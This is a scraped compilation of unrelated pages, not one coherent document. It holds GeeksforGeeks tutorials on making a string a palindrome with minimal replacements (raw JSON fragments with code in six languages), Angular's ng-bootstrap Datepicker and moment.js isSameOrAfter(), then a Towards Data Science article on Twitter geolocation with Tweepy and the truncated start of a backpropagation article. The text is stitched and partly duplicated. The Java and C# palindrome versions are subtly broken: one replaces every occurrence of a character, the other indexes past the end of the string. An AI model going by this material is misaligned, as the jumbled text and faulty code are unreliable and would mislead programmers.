characters to be replaced = 2 geeeg andrew1234 ukasp SURENDRA_GANGWAR Rajput-Ji importantly nikhilgupta2 palindrome Python palindrome Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Python Dictionary How to Install PIP on Windows ? Enumerate() in Python Different ways to create Pandas Dataframe Python String | replace() Reading and Writing to text files in Python *args and **kwargs in Python Convert integer to string in Python Check if element exists in list in Python Create a Pandas DataFrame from Lists
[ { "code": null, "e": 26365, "s": 26337, "text": "\n31 Jul, 2021" }, { "code": null, "e": 26628, "s": 26365, "text": "Given string str, the task is to find the minimum number of characters to be replaced to make a given string palindrome. Replacing a character means replacing it with any single character in the same position. We are not allowed to remove or add any characters. " }, { "code": null, "e": 26704, "s": 26628, "text": "If there are multiple answers, print the lexicographically smallest string." }, { "code": null, "e": 26716, "s": 26704, "text": "Examples: " }, { "code": null, "e": 26974, "s": 26716, "text": "Input: str = \"geeks\"\nOutput: 2\ngeeks can be converted to geeeg to make it palindrome\nby replacing minimum characters.\n\nInput: str = \"ameba\"\nOutput: 1\nWe can get \"abeba\" or \"amema\" with only 1 change. \nAmong those two, \"abeba\" is lexicographically smallest. " }, { "code": null, "e": 27271, "s": 26974, "text": "Approach: Run a loop from 0 up to (length)/2-1 and check if a character at the i-th index i.e. s[i]!=s[length-i-1], then we will replace the alphabetically larger character with the one which is alphabetically smaller among them and continue the same process until all the elements get traversed." }, { "code": null, "e": 27324, "s": 27271, "text": "Below is the implementation of the above approach: " }, { "code": null, "e": 27328, "s": 27324, "text": "C++" }, { "code": null, "e": 27333, "s": 27328, "text": "Java" }, { "code": null, "e": 27340, "s": 27333, "text": "Python" }, { "code": null, "e": 27343, "s": 27340, "text": "C#" }, { "code": null, "e": 27347, "s": 27343, "text": "PHP" }, { "code": null, "e": 27358, "s": 27347, "text": "Javascript" }, { "code": "// C++ Implementation of the above approach#include<bits/stdc++.h>using namespace std; // Function to find the minimum number// character change required void change(string s){ // Finding the length of the string int n = s.length(); // To store the number of replacement operations int cc = 0; for(int i=0;i<n/2;i++) { // If the characters at location // i and n-i-1 are same then // no change is required if(s[i]== s[n-i-1]) continue; // Counting one change operation cc+= 1; // Changing the character with higher // ascii value with lower ascii value if(s[i]<s[n-i-1]) s[n-i-1]= s[i] ; else s[i]= s[n-i-1] ; } printf(\"Minimum characters to be replaced = %d\\n\", (cc)) ; cout<<s<<endl;}// Driver codeint main(){string s = \"geeks\";change((s));return 0;}//contributed by Arnab Kundu", "e": 28276, "s": 27358, "text": null }, { "code": "// Java Implementation of the above approachimport java.util.*; class GFG{ // Function to find the minimum number// character change requiredstatic void change(String s){ // Finding the length of the string int n = s.length(); // To store the number of replacement operations int cc = 0; for(int i = 0; i < n/2; i++) { // If the characters at location // i and n-i-1 are same then // no change is required if(s.charAt(i) == s.charAt(n - i - 1)) continue; // Counting one change operation cc += 1; // Changing the character with higher // ascii value with lower ascii value if(s.charAt(i) < s.charAt(n - i - 1)) s = s.replace(s.charAt(n - i - 1),s.charAt(i)); else s = s.replace(s.charAt(n-1),s.charAt(n - i - 1)); } System.out.println(\"Minimum characters to be replaced = \"+(cc)) ; System.out.println(s);} // Driver codepublic static void main(String args[]){ String s = \"geeks\"; change((s)); }} // This code is contributed by// Nikhil Gupta", "e": 29360, "s": 28276, "text": null }, { "code": "# Python Implementation of the above approach # Function to find the minimum number# character change requiredimport math as madef change(s): # Finding the length of the string n = len(s) # To store the number of replacement operations cc = 0 for i in range(n//2): # If the characters at location # i and n-i-1 are same then # no change is required if(s[i]== s[n-i-1]): continue # Counting one change operation cc+= 1 # Changing the character with higher # ascii value with lower ascii value if(s[i]<s[n-i-1]): s[n-i-1]= s[i] else: s[i]= s[n-i-1] print(\"Minimum characters to be replaced = \", str(cc)) print(*s, sep =\"\") # Driver codes = \"geeks\"change(list(s))", "e": 30156, "s": 29360, "text": null }, { "code": "// C# Implementation of the above approachusing System; class GFG{ // Function to find the minimum number// character change requiredstatic void change(String s){ // Finding the length of the string int n = s.Length; // To store the number of //replacement operations int cc = 0; for(int i = 0; i < n / 2; i++) { // If the characters at location // i and n-i-1 are same then // no change is required if(s[i] == s[n - i - 1]) continue; // Counting one change operation cc += 1; // Changing the character with higher // ascii value with lower ascii value if(s[i] < s[n - i - 1]) s = s.Replace(s[n - i - 1], s[i]); else s = s.Replace(s[n], s[n - i - 1]); } Console.WriteLine(\"Minimum characters \" + \"to be replaced = \" + (cc)); Console.WriteLine(s);} // Driver codepublic static void Main(String []args){ String s = \"geeks\"; change((s));}} // This code contributed by Rajput-Ji", "e": 31201, "s": 30156, "text": null }, { "code": "<?php// PHP Implementation of the above approach // Function to find the minimum number// character change required function change($s){ // Finding the length of the string $n = strlen($s); // To store the number of replacement operations $cc = 0; for($i=0;$i<$n/2;$i++) { // If the characters at location // i and n-i-1 are same then // no change is required if($s[$i]== $s[$n-$i-1]) continue; // Counting one change operation $cc+= 1; // Changing the character with higher // ascii value with lower ascii value if($s[$i]<$s[$n-$i-1]) $s[$n-$i-1]= $s[$i] ; else $s[$i]= $s[$n-$i-1] ; } echo \"Minimum characters to be replaced = \". $cc.\"\\n\" ; echo $s.\"\\n\";}// Driver code $s = \"geeks\";change(($s));return 0;?>", "e": 32055, "s": 31201, "text": null }, { "code": "<script> // Javascript Implementation of the above approach // Function to find the minimum number// character change required function change(s){ // Finding the length of the string var n = s.length; // To store the number of replacement operations var cc = 0; for(var i=0;i<n/2;i++) { // If the characters at location // i and n-i-1 are same then // no change is required if(s[i]== s[n-i-1]) continue; // Counting one change operation cc+= 1; // Changing the character with higher // ascii value with lower ascii value if(s[i]<s[n-i-1]) s[n-i-1]= s[i] ; else s[i]= s[n-i-1] ; } document.write(\"Minimum characters to be replaced = \" + (cc)+\"<br>\"); document.write(s.join('') + \"<br>\");} // Driver codevar s = \"geeks\".split('');change((s)); </script>", "e": 32943, "s": 32055, "text": null }, { "code": null, "e": 32988, "s": 32943, "text": "Minimum characters to be replaced = 2\ngeeeg" }, { "code": null, "e": 33001, "s": 32990, "text": "andrew1234" }, { "code": null, "e": 33007, "s": 33001, "text": "ukasp" }, { "code": null, "e": 33024, "s": 33007, "text": "SURENDRA_GANGWAR" }, { "code": null, "e": 33034, "s": 33024, "text": "Rajput-Ji" }, { "code": null, "e": 33046, "s": 33034, "text": "importantly" }, { "code": null, "e": 33059, "s": 33046, "text": "nikhilgupta2" }, { "code": null, "e": 33070, "s": 33059, "text": "palindrome" }, { "code": null, "e": 33077, "s": 33070, "text": "Python" }, { "code": null, "e": 33088, "s": 33077, "text": "palindrome" }, { "code": null, "e": 33186, "s": 33088, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 33204, "s": 33186, "text": "Python Dictionary" }, { "code": null, "e": 33236, "s": 33204, "text": "How to Install PIP on Windows ?" }, { "code": null, "e": 33258, "s": 33236, "text": "Enumerate() in Python" }, { "code": null, "e": 33300, "s": 33258, "text": "Different ways to create Pandas Dataframe" }, { "code": null, "e": 33326, "s": 33300, "text": "Python String | replace()" }, { "code": null, "e": 33370, "s": 33326, "text": "Reading and Writing to text files in Python" }, { "code": null, "e": 33399, "s": 33370, "text": "*args and **kwargs in Python" }, { "code": null, "e": 33435, "s": 33399, "text": "Convert integer to string in Python" }, { "code": null, "e": 33477, "s": 33435, "text": "Check if element exists in list in Python" } ]
Angular ng Bootstrap Datepicker Component - GeeksforGeeks
06 Jul, 2021 Angular ng bootstrap is a bootstrap framework used with angular to create components with great styling and this framework is very easy to use and is used to make responsive websites. In this article, we will see how to use Datepicker in angular ng bootstrap. The Datepicker is used to make a component that will be shown by using a calendar. Installation syntax: ng add @ng-bootstrap/ng-bootstrap Approach: First, install the angular ng bootstrap using the above-mentioned command. Add the following script in index.html<link href=”https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css” rel=”stylesheet”> <link href=”https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css” rel=”stylesheet”> Import ng bootstrap module in module.tsimport { NgbModule } from '@ng-bootstrap/ng-bootstrap'; imports: [ NgbModule ] import { NgbModule } from '@ng-bootstrap/ng-bootstrap'; imports: [ NgbModule ] In app.component.html, make a datepicker component. Serve the app using ng serve. Example: In this example, we are making a basic example of datepicker. app.component.html <ngb-datepicker id='gfg'></ngb-datepicker> app.module.ts import { NgModule } from '@angular/core'; // Importing forms moduleimport { FormsModule, ReactiveFormsModule }from '@angular/forms';import { BrowserModule }from '@angular/platform-browser';import { BrowserAnimationsModule } from '@angular/platform-browser/animations';import { AppComponent } from './app.component';import { NgbModule } from '@ng-bootstrap/ng-bootstrap'; @NgModule({ bootstrap: [ AppComponent ], declarations: [ AppComponent ], imports: [ FormsModule, BrowserModule, BrowserAnimationsModule, ReactiveFormsModule, NgbModule ]})export class AppModule { } app.component.css #gfg{ margin:40px} Output: Reference: https://ng-bootstrap.github.io/#/components/datepicker/overview Angular-ng-bootstrap AngularJS Web Technologies Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Angular PrimeNG Dropdown Component Angular PrimeNG Calendar Component Angular 10 (blur) Event Angular PrimeNG Messages Component How to make a Bootstrap Modal Popup in Angular 9/8 ? Remove elements from a JavaScript Array Installation of Node.js on Linux Convert a string to an integer in JavaScript How to fetch data from an API in ReactJS ? How to insert spaces/tabs in text using HTML/CSS?
[ { "code": null, "e": 26354, "s": 26326, "text": "\n06 Jul, 2021" }, { "code": null, "e": 26538, "s": 26354, "text": "Angular ng bootstrap is a bootstrap framework used with angular to create components with great styling and this framework is very easy to use and is used to make responsive websites." }, { "code": null, "e": 26697, "s": 26538, "text": "In this article, we will see how to use Datepicker in angular ng bootstrap. The Datepicker is used to make a component that will be shown by using a calendar." }, { "code": null, "e": 26718, "s": 26697, "text": "Installation syntax:" }, { "code": null, "e": 26752, "s": 26718, "text": "ng add @ng-bootstrap/ng-bootstrap" }, { "code": null, "e": 26762, "s": 26752, "text": "Approach:" }, { "code": null, "e": 26838, "s": 26762, "text": "First, install the angular ng bootstrap using the above-mentioned command. " }, { "code": null, "e": 26979, "s": 26840, "text": "Add the following script in index.html<link href=”https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css” rel=”stylesheet”>" }, { "code": null, "e": 27080, "s": 26979, "text": "<link href=”https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css” rel=”stylesheet”>" }, { "code": null, "e": 27202, "s": 27080, "text": "Import ng bootstrap module in module.tsimport { NgbModule } from '@ng-bootstrap/ng-bootstrap';\n\nimports: [\n NgbModule\n]\n" }, { "code": null, "e": 27285, "s": 27202, "text": "import { NgbModule } from '@ng-bootstrap/ng-bootstrap';\n\nimports: [\n NgbModule\n]\n" }, { "code": null, "e": 27337, "s": 27285, "text": "In app.component.html, make a datepicker component." }, { "code": null, "e": 27367, "s": 27337, "text": "Serve the app using ng serve." }, { "code": null, "e": 27438, "s": 27367, "text": "Example: In this example, we are making a basic example of datepicker." }, { "code": null, "e": 27457, "s": 27438, "text": "app.component.html" }, { "code": "<ngb-datepicker id='gfg'></ngb-datepicker>", "e": 27500, "s": 27457, "text": null }, { "code": null, "e": 27514, "s": 27500, "text": "app.module.ts" }, { "code": "import { NgModule } from '@angular/core'; // Importing forms moduleimport { FormsModule, ReactiveFormsModule }from '@angular/forms';import { BrowserModule }from '@angular/platform-browser';import { BrowserAnimationsModule } from '@angular/platform-browser/animations';import { AppComponent } from './app.component';import { NgbModule } from '@ng-bootstrap/ng-bootstrap'; @NgModule({ bootstrap: [ AppComponent ], declarations: [ AppComponent ], imports: [ FormsModule, BrowserModule, BrowserAnimationsModule, ReactiveFormsModule, NgbModule ]})export class AppModule { }", "e": 28116, "s": 27514, "text": null }, { "code": null, "e": 28134, "s": 28116, "text": "app.component.css" }, { "code": "#gfg{ margin:40px}", "e": 28156, "s": 28134, "text": null }, { "code": null, "e": 28164, "s": 28156, "text": "Output:" }, { "code": null, "e": 28239, "s": 28164, "text": "Reference: https://ng-bootstrap.github.io/#/components/datepicker/overview" }, { "code": null, "e": 28260, "s": 28239, "text": "Angular-ng-bootstrap" }, { "code": null, "e": 28270, "s": 28260, "text": "AngularJS" }, { "code": null, "e": 28287, "s": 28270, "text": "Web Technologies" }, { "code": null, "e": 28385, "s": 28287, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 28420, "s": 28385, "text": "Angular PrimeNG Dropdown Component" }, { "code": null, "e": 28455, "s": 28420, "text": "Angular PrimeNG Calendar Component" }, { "code": null, "e": 28479, "s": 28455, "text": "Angular 10 (blur) Event" }, { "code": null, "e": 28514, "s": 28479, "text": "Angular PrimeNG Messages Component" }, { "code": null, "e": 28567, "s": 28514, "text": "How to make a Bootstrap Modal Popup in Angular 9/8 ?" }, { "code": null, "e": 28607, "s": 28567, "text": "Remove elements from a JavaScript Array" }, { "code": null, "e": 28640, "s": 28607, "text": "Installation of Node.js on Linux" }, { "code": null, "e": 28685, "s": 28640, "text": "Convert a string to an integer in JavaScript" }, { "code": null, "e": 28728, "s": 28685, "text": "How to fetch data from an API in ReactJS ?" } ]
Moment.js isSameOrAfter() Function - GeeksforGeeks
24 Jul, 2020 It is used to check whether a date is the same or after a particular date in Node.js using the isSameOrAfter() function that checks if a moment is after or the same as another moment. The first argument will be parsed as a moment, if not already so. Syntax: moment().isSameOrAfter(Moment|String|Number|Date|Array); moment().isSameOrAfter(Moment|String|Number|Date|Array, String); Parameter: It can hold Moment|String|Number|Date|Array. Returns: True or False Installation of moment module: You can visit the link to Install moment module. You can install this package by using this command.npm install momentAfter installing the moment module, you can check your moment version in command prompt using the command.npm version momentAfter that, you can just create a folder and add a file for example, index.js. To run this file you need to run the following command.node index.js You can visit the link to Install moment module. You can install this package by using this command.npm install moment npm install moment After installing the moment module, you can check your moment version in command prompt using the command.npm version moment npm version moment After that, you can just create a folder and add a file for example, index.js. To run this file you need to run the following command.node index.js node index.js Example 1: Filename: index.js // Requiring moduleconst moment = require('moment'); var bool1 = moment('2010-10-20') .isSameOrAfter('2010-10-21'); // falseconsole.log(bool1); var bool2 = moment('2010-10-20') .isSameOrAfter('2010-10-20'); // trueconsole.log(bool2); var bool3 = moment('2010-10-20') .isSameOrAfter('2010-10-19'); // trueconsole.log(bool3); Steps to run the program: The project structure will look like this:Make sure you have installed moment module using the following command:npm install momentRun index.js file using below command:node index.jsOutput:false true true The project structure will look like this: Make sure you have installed moment module using the following command:npm install moment npm install moment Run index.js file using below command:node index.jsOutput:false true true node index.js Output: false true true Example 2: Filename: index.js // Requiring moduleconst moment = require('moment'); function checkIsSameOrAfter(date1, date2) { return moment(date1).isSameOrAfter(date2); } var bool = checkIsSameOrAfter( '2010-10-20', '2010-10-20'); // trueconsole.log(bool); Run index.js file using below command: node index.js Output: true Reference: https://momentjs.com/docs/#/query/is-same-or-after/ Moment.js Node.js Web Technologies Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. How to connect Node.js with React.js ? Difference between dependencies, devDependencies and peerDependencies Node.js Export Module Mongoose Populate() Method Mongoose find() Function Remove elements from a JavaScript Array Convert a string to an integer in JavaScript How to fetch data from an API in ReactJS ? How to insert spaces/tabs in text using HTML/CSS? Difference between var, let and const keywords in JavaScript
[ { "code": null, "e": 26267, "s": 26239, "text": "\n24 Jul, 2020" }, { "code": null, "e": 26517, "s": 26267, "text": "It is used to check whether a date is the same or after a particular date in Node.js using the isSameOrAfter() function that checks if a moment is after or the same as another moment. The first argument will be parsed as a moment, if not already so." }, { "code": null, "e": 26525, "s": 26517, "text": "Syntax:" }, { "code": null, "e": 26648, "s": 26525, "text": "moment().isSameOrAfter(Moment|String|Number|Date|Array);\nmoment().isSameOrAfter(Moment|String|Number|Date|Array, String);\n" }, { "code": null, "e": 26704, "s": 26648, "text": "Parameter: It can hold Moment|String|Number|Date|Array." }, { "code": null, "e": 26727, "s": 26704, "text": "Returns: True or False" }, { "code": null, "e": 26758, "s": 26727, "text": "Installation of moment module:" }, { "code": null, "e": 27148, "s": 26758, "text": "You can visit the link to Install moment module. You can install this package by using this command.npm install momentAfter installing the moment module, you can check your moment version in command prompt using the command.npm version momentAfter that, you can just create a folder and add a file for example, index.js. To run this file you need to run the following command.node index.js" }, { "code": null, "e": 27267, "s": 27148, "text": "You can visit the link to Install moment module. You can install this package by using this command.npm install moment" }, { "code": null, "e": 27286, "s": 27267, "text": "npm install moment" }, { "code": null, "e": 27411, "s": 27286, "text": "After installing the moment module, you can check your moment version in command prompt using the command.npm version moment" }, { "code": null, "e": 27430, "s": 27411, "text": "npm version moment" }, { "code": null, "e": 27578, "s": 27430, "text": "After that, you can just create a folder and add a file for example, index.js. To run this file you need to run the following command.node index.js" }, { "code": null, "e": 27592, "s": 27578, "text": "node index.js" }, { "code": null, "e": 27622, "s": 27592, "text": "Example 1: Filename: index.js" }, { "code": "// Requiring moduleconst moment = require('moment'); var bool1 = moment('2010-10-20') .isSameOrAfter('2010-10-21'); // falseconsole.log(bool1); var bool2 = moment('2010-10-20') .isSameOrAfter('2010-10-20'); // trueconsole.log(bool2); var bool3 = moment('2010-10-20') .isSameOrAfter('2010-10-19'); // trueconsole.log(bool3);", "e": 27961, "s": 27622, "text": null }, { "code": null, "e": 27987, "s": 27961, "text": "Steps to run the program:" }, { "code": null, "e": 28193, "s": 27987, "text": "The project structure will look like this:Make sure you have installed moment module using the following command:npm install momentRun index.js file using below command:node index.jsOutput:false\ntrue\ntrue\n" }, { "code": null, "e": 28236, "s": 28193, "text": "The project structure will look like this:" }, { "code": null, "e": 28326, "s": 28236, "text": "Make sure you have installed moment module using the following command:npm install moment" }, { "code": null, "e": 28345, "s": 28326, "text": "npm install moment" }, { "code": null, "e": 28420, "s": 28345, "text": "Run index.js file using below command:node index.jsOutput:false\ntrue\ntrue\n" }, { "code": null, "e": 28434, "s": 28420, "text": "node index.js" }, { "code": null, "e": 28442, "s": 28434, "text": "Output:" }, { "code": null, "e": 28459, "s": 28442, "text": "false\ntrue\ntrue\n" }, { "code": null, "e": 28489, "s": 28459, "text": "Example 2: Filename: index.js" }, { "code": "// Requiring moduleconst moment = require('moment'); function checkIsSameOrAfter(date1, date2) { return moment(date1).isSameOrAfter(date2); } var bool = checkIsSameOrAfter( '2010-10-20', '2010-10-20'); // trueconsole.log(bool);", "e": 28726, "s": 28489, "text": null }, { "code": null, "e": 28765, "s": 28726, "text": "Run index.js file using below command:" }, { "code": null, "e": 28779, "s": 28765, "text": "node index.js" }, { "code": null, "e": 28787, "s": 28779, "text": "Output:" }, { "code": null, "e": 28793, "s": 28787, "text": "true\n" }, { "code": null, "e": 28856, "s": 28793, "text": "Reference: https://momentjs.com/docs/#/query/is-same-or-after/" }, { "code": null, "e": 28866, "s": 28856, "text": "Moment.js" }, { "code": null, "e": 28874, "s": 28866, "text": "Node.js" }, { "code": null, "e": 28891, "s": 28874, "text": "Web Technologies" }, { "code": null, "e": 28989, "s": 28891, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 29028, "s": 28989, "text": "How to connect Node.js with React.js ?" }, { "code": null, "e": 29098, "s": 29028, "text": "Difference between dependencies, devDependencies and peerDependencies" }, { "code": null, "e": 29120, "s": 29098, "text": "Node.js Export Module" }, { "code": null, "e": 29147, "s": 29120, "text": "Mongoose Populate() Method" }, { "code": null, "e": 29172, "s": 29147, "text": "Mongoose find() Function" }, { "code": null, "e": 29212, "s": 29172, "text": "Remove elements from a JavaScript Array" }, { "code": null, "e": 29257, "s": 29212, "text": "Convert a string to an integer in JavaScript" }, { "code": null, "e": 29300, "s": 29257, "text": "How to fetch data from an API in ReactJS ?" }, { "code": null, "e": 29350, "s": 29300, "text": "How to insert spaces/tabs in text using HTML/CSS?" } ]
Twitter Location Analysis. With more than 500 million tweets sent... | by Skanda Vivek | Towards Data Science
Twitter is an impressive data source, and tweets have so much information about societal sentiments. In fact, some work has shown that aggregated tweet data can be used as a metric of societal happiness! With a short character limit, and wide prevalence, Twitter sounds like the perfect combination for a true reflection of society’s thoughts. Apart from the text aspect, tweets can also contain important location information. Certain users agree to share their tweet locations with Twitter. This adds potentially another layer of information. In the near future, adding multiple real-time information layers such as traffic flow, incidents, signals from smart city infrastructure, ... could be extremely beneficial in keeping track of an increasingly complex society. My initial goal in writing this article was to extract location information from tweets, and analyze how representative they are of diverse populations. After all, if tweets are an indicator of society or customers in business cases, it’s important that different populations from various socioeconomic backgrounds are appropriately sampled. I would have done this by comparing tweet distribution with census data. I have only reached part of the way in achieving this simple goal. Turns out, there are some issues, due to a very small proportion of users agreeing to share their detailed locations, and Twitter assigning location coordinates based on tweet text. Tweepy is a Python wrapper for the Twitter API. First lets load the packages in python import sysimport osimport reimport tweepyfrom tweepy import OAuthHandlerfrom textblob import TextBlobimport numpy as npimport pandas as pdfrom datetime import datetime, timedeltafrom IPython.display import clear_outputimport matplotlib.pyplot as plt% matplotlib inline Next, we will use Tweepy to authenticate user credentials. # Authenticateauth = tweepy.AppAuthHandler(consumer_key, consumer_secret)api = tweepy.API(auth, wait_on_rate_limit=True,wait_on_rate_limit_notify=True)if (not api): print (“Can’t Authenticate”) sys.exit(-1) Now, let’s filter those tweets within the location we want. Twitter offers a couple of ways of doing it — a bounding box of max 25 miles length or a specified location with a maximum radius of 25 miles reflecting the area within which we want to search for tweets. tweet_lst=[]geoc=”38.9072,-77.0369,1mi”for tweet in tweepy.Cursor(api.search,geocode=geoc).items(1000): tweetDate = tweet.created_at.date() if(tweet.coordinates !=None):tweet_lst.append([tweetDate,tweet.id,tweet. coordinates[‘coordinates’][0], tweet.coordinates[‘coordinates’][1], tweet.user.screen_name, tweet.user.name, tweet.text, tweet.user._json[‘geo_enabled’]])tweet_df = pd.DataFrame(tweet_lst, columns=['tweet_dt', 'id', 'lat','long','username', 'name', 'tweet','geo']) I’ve used the Tweepy Cursor object, which takes into account Twitter’s limit of maximum 100 results per page, and solves this through pagination. For the first trial, I restrict to 1000 tweets within 1 mile from the heart of Washington, DC, and those with specific lat/long coordinate information. Out of 1000 results, 714 had distinct location information. But lets look a little bit deeper. Interestingly, there are only 80 distinct latitude/ longitude pairs, but each tweet and Twitter user ID are distinct. So something strange is going on, it doesn’t make sense for all those users to be in the exact same location. Here’s the data frame, filtering for the most common lat/long pair: If you notice, see how the text of many tweets have @ Washington DC in them. Twitter is defaulting to a central location in DC for any tweet that has @ Washington DC in it. Interestingly, when I filter the 2nd most common location, I don’t see this anymore, but I do see the texts having @ USA in them! According to Twitter, USA is a location slightly below the white house, in a park! In looking more closely at the Twitter documentation: While I want the coordinates of sample users, to do aggregate mobility analysis, Twitter is giving me information from location tags in tweets. The most common tag in the DC are is @ Washington DC, the second most is @ USA, etc. Another issue is when I extend my search out to a radius of 25 miles, I get 0 tweets with coordinates information out of 1000, which could be because of the way Twitter assigns coordinates to tweets that reference popular locations in DC, but not those miles away from the heart of DC. Here is the Google Colab notebook detailing the code: colab.research.google.com In summary, Twitter offers tremendous potential to analyze societal patterns including sentiments, mobility, and anomalies. However, when it comes to geospatial analysis, there are several limitations due to the sparseness of data, and ambiguity of the meaning of locations when provided — whether locations represent the actual locations of the device sending out the tweet, or do they correspond to places referenced in tweets. While Twitter developers can make improvements in the Twitter API, privacy concerns definitely exist as to mass sharing of sensitive location data. For me personally, I would love to share my location data in order for large-scale analyses that benefit society. But when asked by the Twitter app, I hesitate — due to the potential for unknown harm. We are at a stage similar to nuclear power back in the day. Granular data has the potential for society upheaving benefits. At the same time, as a society we need to have continued discussions on how to achieve these benefits while defending against data breaches and misuse of detailed information. Follow me if you liked this article — I frequently write at the interface of complex systems, physics, data science, and society
[ { "code": null, "e": 516, "s": 172, "text": "Twitter is an impressive data source, and tweets have so much information about societal sentiments. In fact, some work has shown that aggregated tweet data can be used as a metric of societal happiness! With a short character limit, and wide prevalence, Twitter sounds like the perfect combination for a true reflection of society’s thoughts." }, { "code": null, "e": 942, "s": 516, "text": "Apart from the text aspect, tweets can also contain important location information. Certain users agree to share their tweet locations with Twitter. This adds potentially another layer of information. In the near future, adding multiple real-time information layers such as traffic flow, incidents, signals from smart city infrastructure, ... could be extremely beneficial in keeping track of an increasingly complex society." }, { "code": null, "e": 1606, "s": 942, "text": "My initial goal in writing this article was to extract location information from tweets, and analyze how representative they are of diverse populations. After all, if tweets are an indicator of society or customers in business cases, it’s important that different populations from various socioeconomic backgrounds are appropriately sampled. I would have done this by comparing tweet distribution with census data. I have only reached part of the way in achieving this simple goal. Turns out, there are some issues, due to a very small proportion of users agreeing to share their detailed locations, and Twitter assigning location coordinates based on tweet text." }, { "code": null, "e": 1693, "s": 1606, "text": "Tweepy is a Python wrapper for the Twitter API. First lets load the packages in python" }, { "code": null, "e": 1962, "s": 1693, "text": "import sysimport osimport reimport tweepyfrom tweepy import OAuthHandlerfrom textblob import TextBlobimport numpy as npimport pandas as pdfrom datetime import datetime, timedeltafrom IPython.display import clear_outputimport matplotlib.pyplot as plt% matplotlib inline" }, { "code": null, "e": 2021, "s": 1962, "text": "Next, we will use Tweepy to authenticate user credentials." }, { "code": null, "e": 2234, "s": 2021, "text": "# Authenticateauth = tweepy.AppAuthHandler(consumer_key, consumer_secret)api = tweepy.API(auth, wait_on_rate_limit=True,wait_on_rate_limit_notify=True)if (not api): print (“Can’t Authenticate”) sys.exit(-1)" }, { "code": null, "e": 2499, "s": 2234, "text": "Now, let’s filter those tweets within the location we want. Twitter offers a couple of ways of doing it — a bounding box of max 25 miles length or a specified location with a maximum radius of 25 miles reflecting the area within which we want to search for tweets." }, { "code": null, "e": 3018, "s": 2499, "text": "tweet_lst=[]geoc=”38.9072,-77.0369,1mi”for tweet in tweepy.Cursor(api.search,geocode=geoc).items(1000): tweetDate = tweet.created_at.date() if(tweet.coordinates !=None):tweet_lst.append([tweetDate,tweet.id,tweet. coordinates[‘coordinates’][0], tweet.coordinates[‘coordinates’][1], tweet.user.screen_name, tweet.user.name, tweet.text, tweet.user._json[‘geo_enabled’]])tweet_df = pd.DataFrame(tweet_lst, columns=['tweet_dt', 'id', 'lat','long','username', 'name', 'tweet','geo'])" }, { "code": null, "e": 3316, "s": 3018, "text": "I’ve used the Tweepy Cursor object, which takes into account Twitter’s limit of maximum 100 results per page, and solves this through pagination. For the first trial, I restrict to 1000 tweets within 1 mile from the heart of Washington, DC, and those with specific lat/long coordinate information." }, { "code": null, "e": 3411, "s": 3316, "text": "Out of 1000 results, 714 had distinct location information. But lets look a little bit deeper." }, { "code": null, "e": 3707, "s": 3411, "text": "Interestingly, there are only 80 distinct latitude/ longitude pairs, but each tweet and Twitter user ID are distinct. So something strange is going on, it doesn’t make sense for all those users to be in the exact same location. Here’s the data frame, filtering for the most common lat/long pair:" }, { "code": null, "e": 3880, "s": 3707, "text": "If you notice, see how the text of many tweets have @ Washington DC in them. Twitter is defaulting to a central location in DC for any tweet that has @ Washington DC in it." }, { "code": null, "e": 4093, "s": 3880, "text": "Interestingly, when I filter the 2nd most common location, I don’t see this anymore, but I do see the texts having @ USA in them! According to Twitter, USA is a location slightly below the white house, in a park!" }, { "code": null, "e": 4147, "s": 4093, "text": "In looking more closely at the Twitter documentation:" }, { "code": null, "e": 4662, "s": 4147, "text": "While I want the coordinates of sample users, to do aggregate mobility analysis, Twitter is giving me information from location tags in tweets. The most common tag in the DC are is @ Washington DC, the second most is @ USA, etc. Another issue is when I extend my search out to a radius of 25 miles, I get 0 tweets with coordinates information out of 1000, which could be because of the way Twitter assigns coordinates to tweets that reference popular locations in DC, but not those miles away from the heart of DC." }, { "code": null, "e": 4716, "s": 4662, "text": "Here is the Google Colab notebook detailing the code:" }, { "code": null, "e": 4742, "s": 4716, "text": "colab.research.google.com" }, { "code": null, "e": 5172, "s": 4742, "text": "In summary, Twitter offers tremendous potential to analyze societal patterns including sentiments, mobility, and anomalies. However, when it comes to geospatial analysis, there are several limitations due to the sparseness of data, and ambiguity of the meaning of locations when provided — whether locations represent the actual locations of the device sending out the tweet, or do they correspond to places referenced in tweets." }, { "code": null, "e": 5821, "s": 5172, "text": "While Twitter developers can make improvements in the Twitter API, privacy concerns definitely exist as to mass sharing of sensitive location data. For me personally, I would love to share my location data in order for large-scale analyses that benefit society. But when asked by the Twitter app, I hesitate — due to the potential for unknown harm. We are at a stage similar to nuclear power back in the day. Granular data has the potential for society upheaving benefits. At the same time, as a society we need to have continued discussions on how to achieve these benefits while defending against data breaches and misuse of detailed information." } ]
Backpropagation from Scratch: How Neural Networks Really Work | by Florin Andrei | Towards Data Science
How do neural networks really work? I will show you a complete example, written from scratch in Python, with all the math you need to completely understand the process. I will explain everything in plain English as well. You could just follow along, read just the text and still get the general idea. But to re-implement everything from scratch on your own, you will have to understand the math and the code. I’ve seen several articles such as this, but in most cases they were incomplete. I wanted to give this topic a complete treatment: all the math + working code, batteries included. You must grasp linear algebra, calculus, and statistics to fully understand the math part: matrix multiplication, dot product, partial derivatives, the chain rule, normal distribution, probabilities, standard deviation, etc. We have a large set of images, each 28 x 28 pixels, containing hand-drawn numbers. We need to write an app that can look at the images and recognize the numbers drawn in there. In other words, if the app sees this image... ...then it should print out this... [0, 0, 0, 0, 1, 0, 0, 0, 0, 0] ...which means “I see the number 4”: there are 10 slots in there, the first corresponds to number 0, then next to number 1, the next is number 2, and so on; all have the value 0 except for the slot corresponding to number 4 which has the value 1. That means the app has “recognized” number 4. Or if it sees this image... ...then it should print out this... [0, 0, 1, 0, 0, 0, 0, 0, 0, 0] ...which means “I see number 2”. This is called image recognition because we’re recognizing images. It is also called classification because we have a bunch of inputs (images of digits) that need to be classified (categorized) into 10 different categories (the kinds of digits they 